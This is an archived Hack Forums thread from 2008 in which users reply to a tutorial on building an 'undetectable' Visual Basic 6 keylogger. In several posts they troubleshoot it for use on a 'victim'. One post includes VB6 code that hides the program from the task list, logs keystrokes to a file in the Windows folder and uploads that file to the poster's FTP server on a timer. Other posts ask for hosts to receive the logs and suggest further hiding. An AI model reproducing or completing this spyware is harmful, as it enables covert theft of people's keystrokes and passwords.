+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Complete Keylogging tutorial (writing own keylogger 80-95% UD) (/showthread.php?tid=29260)
- Mathias - Dec 12, 2008
(Dec 11, 2008 03:46 PM)Cowbomb Wrote: First of, thanks alot for the great tut Mathias.
I've encountered a few problems though..
the first one, that bothers me the most is the amount of mistakes that get logged.. not quite sure what I did wrong or if it's normal but whenever I open the keylogger.txt (the saved file, logged thing) it's full of spellingmistakes.. as in, if I would type "test" it would end up as "tste" for example. Is this because I type too fast or because I made a mistake somewhere?
My second question is regarding the ftp.. it does upload the file to my ftp but completely empty? the keylogger.txt on in my c:\windows has text in it, but when it uploads to my ftp it ends up as an empty txt file in my ftp?
Any ideas what the possible mistake could be there?
Thanks in advance.
as said in the first post, if there are alot of spelling errors, try changing changing the timer1's interval.. in a range of 80-150, depending on how fast you / victim types.
- Cowbomb - Dec 12, 2008
Yeah already thought something like that after playing around a bit, can't really seem to figure out the best interval but that's the least of my worries right now.
Still can't get the ftp stuff working properly.. my ftp settings are fine, it connects to my ftp and places the file there.. but completely empty (while it contains text in my windows folder)
heres my code on that part if it somehow helps:
Form_Load:
Code
Private Sub Form_Load()
If App.PrevInstance = True Then End
App.TaskVisible = False
If Dir("c:\windows\keyl.txt") <> "" Then
Open "c:\windows\keyl.txt" For Append As #1
Write #1,
Write #1, DateTime.Time
Write #1,
Close #1
End If
Label1.Caption = ""
End SubTimer3:
Code
Private Sub Timer3_Timer()
On Error Resume Next
Inet1.Execute , "PUT c:\windows\keyl.txt /" & DateTime.Date & ".txt"
End SubAt first I thought it had to do with the ' Label1.Caption = "" ' in my Form_Load but that doesn't seem to be the problem.. or is it? :<
- Deesyre - Dec 12, 2008
Perfect, Now i can finish what i started.
- LYFE.88 - Dec 19, 2008
ok I Downloaded but I dont see the Standard Exe?
[Never mind, I didnt intall it. I noob'ed out when I saw the the confirmation key thing]
- MaxieUB - Dec 20, 2008
Aight, thanks for a great tutorial. Thou I'm stuck in the beginning haha.
Quote:Now lets go to the General Section of our source and declare some API functions in order to start writing. General section can be found by using (General) in the top left scrollbar
There are 2 effective methods to keylog with VB6
- Keyhooks
- GetAsyncKeyState
We will be using GetAsyncKeyState, which checks if a key is being pressed when executed
But before we can start using GetAsyncKeyState we must declare it in the general section
When I push General Section nothing happends. Can you explain what I'm supposed to do in a easy way? Might be a stupid question but you gotta ask you know.
Peace, love and understanding! 😎
- MaxieUB - Dec 21, 2008
Got in another problem.
http://www.speedyshare.com/230808364.html
I've tried to remove End If but it wont work. Please, a quick answer. :(
- Limabean - Dec 22, 2008
Wicked tut, nearly got it working :P
Only thing is 0Catch doesnt seem to want to load for me, any ideas of a different host i could use?
- Barrett37 - Dec 22, 2008
Very nice mathias. Will put to good use
- Destro - Dec 22, 2008
nice tut😏 is there a other way 4 me to get VB6?
- iBruteforce - Dec 22, 2008
(Dec 22, 2008 03:08 PM)Destro Wrote: nice tut😏 is there a other way 4 me to get VB6?
Microsoft website.
- !-Makaveli-! - Dec 25, 2008
Very nice tut, I'd rep you if I could. I got near the end though, and couldn't be bothered lol. I'm new to programming, and I mean new lol, so it's no wonder really. I got to the SHIFT key bit.
- ermeleh - Dec 26, 2008
Nice tut THx alot dude,,,
But any1 could make a tut for VB.net
- Pedrowski - Dec 26, 2008
Very nice tut but I guess there is one mistake:
It should be
Quote:
If Dir("c:\windows\klogs.txt") <> "" Then
open "c:\windows\klogs.txt" for append as #1
write #1,
write #1, DateTime.time
write #1,
close #1
End if
I`m not sure, correct me if I misunderstood sth.
- Themandouche - Jan 3, 2009
woot nice tutorial!
- s18022 - Jan 3, 2009
Thanks for the tutorial i made some changes but i was thinking wouldent it be better to not have it in the menus or anything and then minamize it and have a way to force quit it.